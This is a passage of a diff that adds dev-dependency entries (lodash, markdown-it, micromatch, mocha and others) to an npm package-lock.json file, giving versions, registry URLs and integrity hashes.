"node_modules/liftoff/node_modules/is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dev": true, + "dependencies": { + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/liftoff/node_modules/is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dev": true, + "dependencies": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/liftoff/node_modules/is-extendable": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", + "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", + "dev": true, + "dependencies": { + "is-plain-object": "^2.0.4" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/liftoff/node_modules/micromatch": { + "version": "3.1.10", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", + "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", + "dev": true, + "dependencies": { + "arr-diff": "^4.0.0", + "array-unique": "^0.3.2", + "braces": "^2.3.1", + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "extglob": "^2.0.4", + "fragment-cache": "^0.2.1", + "kind-of": "^6.0.2", + "nanomatch": "^1.2.9", + "object.pick": "^1.3.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/lilconfig": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.1.0.tgz", + "integrity": "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/lines-and-columns": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", + "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==", + "dev": true + }, + "node_modules/linkify-it": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/linkify-it/-/linkify-it-2.2.0.tgz", + "integrity": "sha512-GnAl/knGn+i1U/wjBz3akz2stz+HrHLsxMwHQGofCDfPvlf+gDKN58UtfmUquTY4/MXeE2x7k19KQmeoZi94Iw==", + "dev": true, + "dependencies": { + "uc.micro": "^1.0.1" + } + }, + "node_modules/load-json-file": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/load-json-file/-/load-json-file-1.1.0.tgz", + "integrity": "sha512-cy7ZdNRXdablkXYNI049pthVeXFurRyb9+hA/dZzerZ0pGTx42z+y+ssxBaVV2l70t1muq5IdKhn4UtcoGUY9A==", + "dev": true, + "dependencies": { + "graceful-fs": "^4.1.2", + "parse-json": "^2.2.0", + "pify": "^2.0.0", + "pinkie-promise": "^2.0.0", + "strip-bom": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/load-json-file/node_modules/pify": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/load-json-file/node_modules/strip-bom": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-2.0.0.tgz", + "integrity": "sha512-kwrX1y7czp1E69n2ajbG65mIo9dqvJ+8aBQXOGVxqwvNbsXdFM6Lq37dLAY3mknUwru8CfcCbfOLL/gMo+fi3g==", + "dev": true, + "dependencies": { + "is-utf8": "^0.2.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/loader-runner": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-4.3.0.tgz", + "integrity": "sha512-3R/1M+yS3j5ou80Me59j7F9IMs4PXs3VqRrm0TU3AbKPxlmpoY1TNscJV/oGJXo8qCatFGTfDbY6W6ipGOYXfg==", + "dev": true, + "peer": true, + "engines": { + "node": ">=6.11.5" + } + }, + "node_modules/locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "dev": true, + "dependencies": { + "p-locate": "^5.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/lodash": { + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==", + "dev": true + }, + "node_modules/lodash.castarray": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/lodash.castarray/-/lodash.castarray-4.4.0.tgz", + "integrity": "sha512-aVx8ztPv7/2ULbArGJ2Y42bG1mEQ5mGjpdvrbJcJFU3TbYybe+QlLS4pst9zV52ymy2in1KpFPiZnAOATxD4+Q==", + "dev": true + }, + "node_modules/lodash.clone": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.clone/-/lodash.clone-4.5.0.tgz", + "integrity": "sha512-GhrVeweiTD6uTmmn5hV/lzgCQhccwReIVRLHp7LT4SopOjqEZ5BbX8b5WWEtAKasjmy8hR7ZPwsYlxRCku5odg==", + "dev": true + }, + "node_modules/lodash.debounce": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz", + "integrity": "sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow==", + "dev": true + }, + "node_modules/lodash.flattendeep": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/lodash.flattendeep/-/lodash.flattendeep-4.4.0.tgz", + "integrity": "sha512-uHaJFihxmJcEX3kT4I23ABqKKalJ/zDrDg0lsFtc1h+3uw49SIJ5beyhx5ExVRti3AvKoOJngIj7xz3oylPdWQ==", + "dev": true + }, + "node_modules/lodash.get": { + "version": "4.4.2", + "resolved": "https://registry.npmjs.org/lodash.get/-/lodash.get-4.4.2.tgz", + "integrity": "sha512-z+Uw/vLuy6gQe8cfaFWD7p0wVv8fJl3mbzXh33RS+0oW2wvUqiRXiQ69gLWSLpgB5/6sU+r6BlQR0MBILadqTQ==", + "dev": true + }, + "node_modules/lodash.isplainobject": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz", + "integrity": "sha512-oSXzaWypCMHkPC3NvBEaPHf0KsA5mvPrOPgQWDsbg8n7orZ290M0BmC/jgRZ4vcJ6DTAhjrsSYgdsW/F+MFOBA==", + "dev": true + }, + "node_modules/lodash.merge": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", + "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", + "dev": true + }, + "node_modules/lodash.mergewith": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/lodash.mergewith/-/lodash.mergewith-4.6.2.tgz", + "integrity": "sha512-GK3g5RPZWTRSeLSpgP8Xhra+pnjBC56q9FZYe1d5RN3TJ35dbkGy3YqBSMbyCrlbi+CM9Z3Jk5yTL7RCsqboyQ==", + "dev": true + }, + "node_modules/lodash.some": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/lodash.some/-/lodash.some-4.6.0.tgz", + "integrity": "sha512-j7MJE+TuT51q9ggt4fSgVqro163BEFjAt3u97IqU+JA2DkWl80nFTrowzLpZ/BnpN7rrl0JA/593NAdd8p/scQ==", + "dev": true + }, + "node_modules/log-symbols": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz", + "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==", + "dev": true, + "dependencies": { + "chalk": "^4.1.0", + "is-unicode-supported": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/lolex": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/lolex/-/lolex-4.2.0.tgz", + "integrity": "sha512-gKO5uExCXvSm6zbF562EvM+rd1kQDnB9AZBbiQVzf1ZmdDpxUSvpnAaVOP83N/31mRK8Ml8/VE8DMvsAZQ+7wg==", + "dev": true + }, + "node_modules/lower-case": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-1.1.4.tgz", + "integrity": "sha512-2Fgx1Ycm599x+WGpIYwJOvsjmXFzTSc34IwDWALRA/8AopUKAVPwfJ+h5+f85BCp0PWmmJcWzEpxOpoXycMpdA==", + "dev": true + }, + "node_modules/lru-cache": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", + "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", + "dev": true, + "dependencies": { + "yallist": "^3.0.2" + } + }, + "node_modules/make-dir": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-2.1.0.tgz", + "integrity": "sha512-LS9X+dc8KLxXCb8dni79fLIIUA5VyZoyjSMCwTluaXA0o27cCK0bhXkpgw+sTXVpPy/lSO57ilRixqk0vDmtRA==", + "dev": true, + "dependencies": { + "pify": "^4.0.1", + "semver": "^5.6.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/make-dir/node_modules/semver": { + "version": "5.7.2", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz", + "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==", + "dev": true, + "bin": { + "semver": "bin/semver" + } + }, + "node_modules/make-iterator": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/make-iterator/-/make-iterator-1.0.1.tgz", + "integrity": "sha512-pxiuXh0iVEq7VM7KMIhs5gxsfxCux2URptUQaXo4iZZJxBAzTPOLE2BumO5dbfVYq/hBJFBR/a1mFDmOx5AGmw==", + "dev": true, + "dependencies": { + "kind-of": "^6.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/map-cache": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/map-cache/-/map-cache-0.2.2.tgz", + "integrity": "sha512-8y/eV9QQZCiyn1SprXSrCmqJN0yNRATe+PO8ztwqrvrbdRLA3eYJF0yaR0YayLWkMbsQSKWS9N2gPcGEc4UsZg==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/map-stream": { + "version": "0.0.7", + "resolved": "https://registry.npmjs.org/map-stream/-/map-stream-0.0.7.tgz", + "integrity": "sha512-C0X0KQmGm3N2ftbTGBhSyuydQ+vV1LC3f3zPvT3RXHXNZrvfPZcoXp/N5DOa8vedX/rTMm2CjTtivFg2STJMRQ==", + "dev": true + }, + "node_modules/map-visit": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/map-visit/-/map-visit-1.0.0.tgz", + "integrity": "sha512-4y7uGv8bd2WdM9vpQsiQNo41Ln1NvhvDRuVt0k2JZQ+ezN2uaQes7lZeZ+QQUHOLQAtDaBJ+7wCbi+ab/KFs+w==", + "dev": true, + "dependencies": { + "object-visit": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/markdown-it": { + "version": "10.0.0", + "resolved": "https://registry.npmjs.org/markdown-it/-/markdown-it-10.0.0.tgz", + "integrity": "sha512-YWOP1j7UbDNz+TumYP1kpwnP0aEa711cJjrAQrzd0UXlbJfc5aAq0F/PZHjiioqDC1NKgvIMX+o+9Bk7yuM2dg==", + "dev": true, + "dependencies": { + "argparse": "^1.0.7", + "entities": "~2.0.0", + "linkify-it": "^2.0.0", + "mdurl": "^1.0.1", + "uc.micro": "^1.0.5" + }, + "bin": { + "markdown-it": "bin/markdown-it.js" + } + }, + "node_modules/markdown-it-anchor": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/markdown-it-anchor/-/markdown-it-anchor-5.3.0.tgz", + "integrity": "sha512-/V1MnLL/rgJ3jkMWo84UR+K+jF1cxNG1a+KwqeXqTIJ+jtA8aWSHuigx8lTzauiIjBDbwF3NcWQMotd0Dm39jA==", + "dev": true, + "peerDependencies": { + "markdown-it": "*" + } + }, + "node_modules/markdown-it/node_modules/argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "dev": true, + "dependencies": { + "sprintf-js": "~1.0.2" + } + }, + "node_modules/marked": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/marked/-/marked-2.1.3.tgz", + "integrity": "sha512-/Q+7MGzaETqifOMWYEA7HVMaZb4XbcRfaOzcSsHZEith83KGlvaSG33u0SKu89Mj5h+T8V2hM+8O45Qc5XTgwA==", + "dev": true, + "bin": { + "marked": "bin/marked" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/matchdep": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/matchdep/-/matchdep-2.0.0.tgz", + "integrity": "sha512-LFgVbaHIHMqCRuCZyfCtUOq9/Lnzhi7Z0KFUE2fhD54+JN2jLh3hC02RLkqauJ3U4soU6H1J3tfj/Byk7GoEjA==", + "dev": true, + "dependencies": { + "findup-sync": "^2.0.0", + "micromatch": "^3.0.4", + "resolve": "^1.4.0", + "stack-trace": "0.0.10" + }, + "engines": { + "node": ">= 0.10.0" + } + }, + "node_modules/matchdep/node_modules/define-property": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz", + "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==", + "dev": true, + "dependencies": { + "is-descriptor": "^1.0.2", + "isobject": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/matchdep/node_modules/extend-shallow": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", + "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==", + "dev": true, + "dependencies": { + "assign-symbols": "^1.0.0", + "is-extendable": "^1.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/matchdep/node_modules/findup-sync": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/findup-sync/-/findup-sync-2.0.0.tgz", + "integrity": "sha512-vs+3unmJT45eczmcAZ6zMJtxN3l/QXeccaXQx5cu/MeJMhewVfoWZqibRkOxPnmoR59+Zy5hjabfQc6JLSah4g==", + "dev": true, + "dependencies": { + "detect-file": "^1.0.0", + "is-glob": "^3.1.0", + "micromatch": "^3.0.4", + "resolve-dir": "^1.0.1" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/matchdep/node_modules/is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dev": true, + "dependencies": { + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/matchdep/node_modules/is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dev": true, + "dependencies": { + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/matchdep/node_modules/is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dev": true, + "dependencies": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/matchdep/node_modules/is-extendable": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", + "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", + "dev": true, + "dependencies": { + "is-plain-object": "^2.0.4" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/matchdep/node_modules/is-glob": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz", + "integrity": "sha512-UFpDDrPgM6qpnFNI+rh/p3bUaq9hKLZN8bMUWzxmcnZVS3omf4IPK+BrewlnWjO1WmUsMYuSjKh4UJuV4+Lqmw==", + "dev": true, + "dependencies": { + "is-extglob": "^2.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/matchdep/node_modules/micromatch": { + "version": "3.1.10", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", + "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", + "dev": true, + "dependencies": { + "arr-diff": "^4.0.0", + "array-unique": "^0.3.2", + "braces": "^2.3.1", + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "extglob": "^2.0.4", + "fragment-cache": "^0.2.1", + "kind-of": "^6.0.2", + "nanomatch": "^1.2.9", + "object.pick": "^1.3.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/mdurl": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/mdurl/-/mdurl-1.0.1.tgz", + "integrity": "sha512-/sKlQJCBYVY9Ers9hqzKou4H6V5UWc/M59TH2dvkt+84itfnq7uFOMLpOiOS4ujvHP4etln18fmIxA5R5fll0g==", + "dev": true + }, + "node_modules/memory-fs": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/memory-fs/-/memory-fs-0.5.0.tgz", + "integrity": "sha512-jA0rdU5KoQMC0e6ppoNRtpp6vjFq6+NY7r8hywnC7V+1Xj/MtHwGIbB1QaK/dunyjWteJzmkpd7ooeWg10T7GA==", + "dev": true, + "dependencies": { + "errno": "^0.1.3", + "readable-stream": "^2.0.1" + }, + "engines": { + "node": ">=4.3.0 <5.0.0 || >=5.10" + } + }, + "node_modules/merge-stream": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", + "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", + "dev": true, + "peer": true + }, + "node_modules/merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "dev": true, + "engines": { + "node": ">= 8" + } + }, + "node_modules/micromatch": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz", + "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==", + "dev": true, + "dependencies": { + "braces": "^3.0.2", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/micromatch/node_modules/braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "dependencies": { + "fill-range": "^7.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/micromatch/node_modules/fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/micromatch/node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/micromatch/node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "dev": true, + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/mixin-deep": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/mixin-deep/-/mixin-deep-1.3.2.tgz", + "integrity": "sha512-WRoDn//mXBiJ1H40rqa3vH0toePwSsGb45iInWlTySa+Uu4k3tYUSxa2v1KqAiLtvlrSzaExqS1gtk96A9zvEA==", + "dev": true, + "dependencies": { + "for-in": "^1.0.2", + "is-extendable": "^1.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/mixin-deep/node_modules/is-extendable": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", + "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", + "dev": true, + "dependencies": { + "is-plain-object": "^2.0.4" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/mkdirp": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz", + "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==", + "dev": true, + "bin": { + "mkdirp": "bin/cmd.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/mocha": { + "version": "9.1.2", + "resolved": "https://registry.npmjs.org/mocha/-/mocha-9.1.2.tgz", + "integrity": "sha512-ta3LtJ+63RIBP03VBjMGtSqbe6cWXRejF9SyM9Zyli1CKZJZ+vfCTj3oW24V7wAphMJdpOFLoMI3hjJ1LWbs0w==", + "dev": true, + "dependencies": { + "@ungap/promise-all-settled": "1.1.2", + "ansi-colors": "4.1.1", + "browser-stdout": "1.3.1", + "chokidar": "3.5.2", + "debug": "4.3.2", + "diff": "5.0.0", + "escape-string-regexp": "4.0.0", + "find-up": "5.0.0", + "glob": "7.1.7", + "growl": "1.10.5", + "he": "1.2.0", + "js-yaml": "4.1.0", + "log-symbols": "4.1.0", + "minimatch": "3.0.4", + "ms": "2.1.3", + "nanoid": "3.1.25", + "serialize-javascript": "6.0.0", + "strip-json-comments": "3.1.1", + "supports-color": "8.1.1", + "which": "2.0.2", + "workerpool": "6.1.5", + "yargs": "16.2.0", + "yargs-parser": "20.2.4", + "yargs-unparser": "2.0.0" + }, + "bin": { + "_mocha": "bin/_mocha", + "mocha": "bin/mocha" + }, + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/mochajs" + } + }, + "node_modules/mocha/node_modules/ansi-colors": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-4.1.1.tgz", + "integrity": "sha512-JoX0apGbHaUJBNl6yF+p6JAFYZ666/hhCGKN5t9QFjbJQKUU/g8MNbFDbvfrgKXvI1QpZplPOnwIo99lX/AAmA==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/mocha/node_modules/anymatch": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "dev": true, + "dependencies": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/mocha/node_modules/binary-extensions": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", + "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/mocha/node_modules/braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "dependencies": { + "fill-range": "^7.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/mocha/node_modules/chokidar": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.2.tgz", + "integrity": 